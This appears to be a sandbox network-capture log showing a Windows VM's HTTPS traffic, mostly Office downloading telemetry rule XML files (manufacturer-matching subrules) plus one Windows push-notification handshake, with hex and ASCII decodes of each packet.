2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120632" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120631" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
43	192.168.2.6	49753	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-30 03:12:28 UTC	192	OUT	GET /rules/rule120633v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-30 03:12:28 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 30 Nov 2024 03:12:28 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB32BB5CB" x-ms-request-id: c3d74fa2-201e-0003-1d91-3ff85a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241130T031228Z-174f7845968nxc96hC1EWRspw800000010hg00000000dfsk x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-30 03:12:28 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 53 73 5d 5b 41 61 5d 5b 4d 6d 5d 5b 53 73 5d 5b 55 75 5d 5b 4e 6e 5d 5b 47 67 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120633" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120631" /> <SR T="2" R="([Ss][Aa][Mm][Ss][Uu][Nn][Gg])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
44	192.168.2.6	49754	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-30 03:12:28 UTC	192	OUT	GET /rules/rule120634v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-30 03:12:28 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 30 Nov 2024 03:12:28 GMT Content-Type: text/xml Content-Length: 494 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:38 GMT ETag: "0x8DC582BB8972972" x-ms-request-id: fd2c0889-901e-008f-450b-4267a6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241130T031228Z-174f7845968psccphC1EWRuz9s000000110g00000000fz9e x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-30 03:12:28 UTC	494	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120634" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120633" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
45	192.168.2.6	49755	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-30 03:12:30 UTC	192	OUT	GET /rules/rule120635v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-30 03:12:30 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 30 Nov 2024 03:12:30 GMT Content-Type: text/xml Content-Length: 420 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:53 GMT ETag: "0x8DC582B9DAE3EC0" x-ms-request-id: d3507608-601e-003d-4b91-3f6f25000000 x-ms-version: 2018-03-28 x-azure-ref: 20241130T031230Z-174f7845968swgbqhC1EWRmnb4000000113g000000000wus x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-30 03:12:30 UTC	420	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 54 74 5d 5b 4f 6f 5d 5b 53 73 5d 5b 48 68 5d 5b 49 69 5d 5b 42 62 5d 5b 41 61 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120635" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120633" /> <SR T="2" R="^([Tt][Oo][Ss][Hh][Ii][Bb][Aa])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O

Session ID	Source IP	Source Port	Destination IP	Destination Port
46	192.168.2.6	49756	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-30 03:12:30 UTC	192	OUT	GET /rules/rule120636v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-30 03:12:30 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 30 Nov 2024 03:12:30 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:52 GMT ETag: "0x8DC582B9D43097E" x-ms-request-id: f58b0ab1-f01e-0000-6878-40193e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241130T031230Z-174f7845968px8v7hC1EWR08ng00000010z000000000nxvb x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-30 03:12:30 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120636" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120635" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
47	192.168.2.6	49757	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-30 03:12:30 UTC	192	OUT	GET /rules/rule120637v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-30 03:12:30 UTC	491	IN	HTTP/1.1 200 OK Date: Sat, 30 Nov 2024 03:12:30 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:12 GMT ETag: "0x8DC582BA909FA21" x-ms-request-id: b5d3fb3c-c01e-000b-6fb4-42e255000000 x-ms-version: 2018-03-28 x-azure-ref: 20241130T031230Z-174f78459685m244hC1EWRgp2c00000010k000000000hpc1 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-30 03:12:30 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 41 61 5d 5b 4e 6e 5d 5b 41 61 5d 5b 53 73 5d 5b 4f 6f 5d 5b 4e 6e 5d 5b 49 69 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120637" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120635" /> <SR T="2" R="([Pp][Aa][Nn][Aa][Ss][Oo][Nn][Ii][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
48	192.168.2.6	49759	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-30 03:12:30 UTC	192	OUT	GET /rules/rule120639v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-30 03:12:30 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 30 Nov 2024 03:12:30 GMT Content-Type: text/xml Content-Length: 423 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:36 GMT ETag: "0x8DC582BB7564CE8" x-ms-request-id: dc0e6055-901e-005b-2d91-3f2005000000 x-ms-version: 2018-03-28 x-azure-ref: 20241130T031230Z-174f7845968kdththC1EWRzvxn0000000d4g00000000dy0y x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-30 03:12:30 UTC	423	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 44 64 5d 5b 59 79 5d 5b 4e 6e 5d 5b 41 61 5d 5b 42 62 5d 5b 4f 6f 5d 5b 4f 6f 5d 5b 4b 6b 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120639" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120637" /> <SR T="2" R="([Dd][Yy][Nn][Aa][Bb][Oo][Oo][Kk])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0

Session ID	Source IP	Source Port	Destination IP	Destination Port
49	192.168.2.6	49758	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-30 03:12:30 UTC	192	OUT	GET /rules/rule120638v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-30 03:12:31 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 30 Nov 2024 03:12:30 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:35 GMT ETag: "0x8DC582B92FCB436" x-ms-request-id: fac497c4-501e-008f-4391-3f9054000000 x-ms-version: 2018-03-28 x-azure-ref: 20241130T031230Z-174f7845968xr5c2hC1EWRd0hn0000000hq000000000a9ck x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-30 03:12:31 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120638" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120637" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
50	192.168.2.6	49760	20.198.118.190	443

Timestamp	Bytes transferred	Direction	Data
2024-11-30 03:12:31 UTC	71	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 33 30 35 0d 0a 4d 53 2d 43 56 3a 20 65 7a 43 75 58 4b 68 56 36 55 61 44 36 67 48 71 2e 31 0d 0a 43 6f 6e 74 65 78 74 3a 20 31 31 35 32 30 36 65 61 62 31 33 35 65 38 30 32 0d 0a 0d 0a Data Ascii: CNT 1 CON 305MS-CV: ezCuXKhV6UaD6gHq.1Context: 115206eab135e802
2024-11-30 03:12:31 UTC	249	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 39 30 34 35 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 43 48 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 32 33 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 32 30 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 74 72 75 65 3c 2f 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.19045</osVer><proc>x64</proc><lcid>en-CH</lcid><geoId>223</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware20,1</deviceName><followRetry>true</followRetry></agent></connect>
2024-11-30 03:12:31 UTC	1084	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 36 31 0d 0a 4d 53 2d 43 56 3a 20 65 7a 43 75 58 4b 68 56 36 55 61 44 36 67 48 71 2e 32 0d 0a 43 6f 6e 74 65 78 74 3a 20 31 31 35 32 30 36 65 61 62 31 33 35 65 38 30 32 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 34 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 55 64 4d 74 43 50 4f 37 76 2f 5a 2f 32 67 72 76 5a 55 51 76 4e 64 64 73 4b 34 55 4c 79 4b 72 56 67 58 53 4b 69 35 47 65 67 73 50 49 72 66 5a 69 69 32 6f 78 63 78 30 68 4c 39 41 43 4c 47 32 50 53 61 70 54 48 44 62 63 74 4d 48 32 42 51 30 51 77 6e 6c 6e 50 62 2f 63 51 72 45 49 57 44 65 32 42 62 46 73 55 6b 4e 46 6f 43 49 6b 50 Data Ascii: ATH 2 CON\DEVICE 1061MS-CV: ezCuXKhV6UaD6gHq.2Context: 115206eab135e802<device><compact-ticket>t=EwC4AupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAAUdMtCPO7v/Z/2grvZUQvNddsK4ULyKrVgXSKi5GegsPIrfZii2oxcx0hL9ACLG2PSapTHDbctMH2BQ0QwnlnPb/cQrEIWDe2BbFsUkNFoCIkP
2024-11-30 03:12:31 UTC	218	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 57 4e 53 20 30 20 31 39 37 0d 0a 4d 53 2d 43 56 3a 20 65 7a 43 75 58 4b 68 56 36 55 61 44 36 67 48 71 2e 33 0d 0a 43 6f 6e 74 65 78 74 3a 20 31 31 35 32 30 36 65 61 62 31 33 35 65 38 30 32 0d 0a 0d 0a 3c 77 6e 73 3e 3c 76 65 72 3e 31 3c 2f 76 65 72 3e 3c 63 6c 69 65 6e 74 3e 3c 6e 61 6d 65 3e 57 50 4e 3c 2f 6e 61 6d 65 3e 3c 76 65 72 3e 31 2e 30 3c 2f 76 65 72 3e 3c 2f 63 6c 69 65 6e 74 3e 3c 6f 70 74 69 6f 6e 73 3e 3c 70 77 72 6d 6f 64 65 20 6d 6f 64 65 3d 22 30 22 3e 3c 2f 70 77 72 6d 6f 64 65 3e 3c 2f 6f 70 74 69 6f 6e 73 3e 3c 6c 61 73 74 4d 73 67 49 64 3e 30 3c 2f 6c 61 73 74 4d 73 67 49 64 3e 3c 2f 77 6e 73 3e Data Ascii: BND 3 CON\WNS 0 197MS-CV: ezCuXKhV6UaD6gHq.3Context: 115206eab135e802<wns><ver>1</ver><client><name>WPN</name><ver>1.0</ver></client><options><pwrmode mode="0"></pwrmode></options><lastMsgId>0</lastMsgId></wns>
2024-11-30 03:12:31 UTC	14	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2024-11-30 03:12:31 UTC	58	IN	Data Raw: 4d 53 2d 43 56 3a 20 4e 73 37 76 50 32 6d 70 64 30 69 59 6b 4f 57 70 74 31 58 7a 48 67 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: Ns7vP2mpd0iYkOWpt1XzHg.0Payload parsing failed.

Session ID	Source IP	Source Port	Destination IP	Destination Port
51	192.168.2.6	49761	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-30 03:12:32 UTC	192	OUT	GET /rules/rule120640v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-30 03:12:32 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 30 Nov 2024 03:12:32 GMT Content-Type: text/xml Content-Length: 478 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:48 GMT ETag: "0x8DC582B9B233827" x-ms-request-id: 1fa1b817-401e-0067-5691-3f09c2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241130T031232Z-174f7845968xr5c2hC1EWRd0hn0000000hu0000000000gyn x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-30 03:12:32 UTC	478	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120640" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120639" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
52	192.168.2.6	49762	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-30 03:12:32 UTC	192	OUT	GET /rules/rule120641v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-30 03:12:33 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 30 Nov 2024 03:12:32 GMT Content-Type: text/xml Content-Length: 404 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:39 GMT ETag: "0x8DC582B95C61A3C" x-ms-request-id: 50a9aa5a-901e-0015-37fe-41b284000000 x-ms-version: 2018-03-28 x-azure-ref: 20241130T031232Z-174f78459685m244hC1EWRgp2c00000010tg000000000d74 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-30 03:12:33 UTC	404	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4d 6d 5d 5b 53 73 5d 5b 49 69 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120641" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120639" /> <SR T="2" R="^([Mm][Ss][Ii])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S

Session ID	Source IP	Source Port	Destination IP	Destination Port
53	192.168.2.6	49763	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-30 03:12:32 UTC	192	OUT	GET /rules/rule120642v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-30 03:12:33 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 30 Nov 2024 03:12:32 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:24 GMT ETag: "0x8DC582BB046B576" x-ms-request-id: 490736a9-701e-0097-7e01-42b8c1000000 x-ms-version: 2018-03-28 x-azure-ref: 20241130T031232Z-174f7845968vqt9xhC1EWRgten00000010xg00000000718s x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
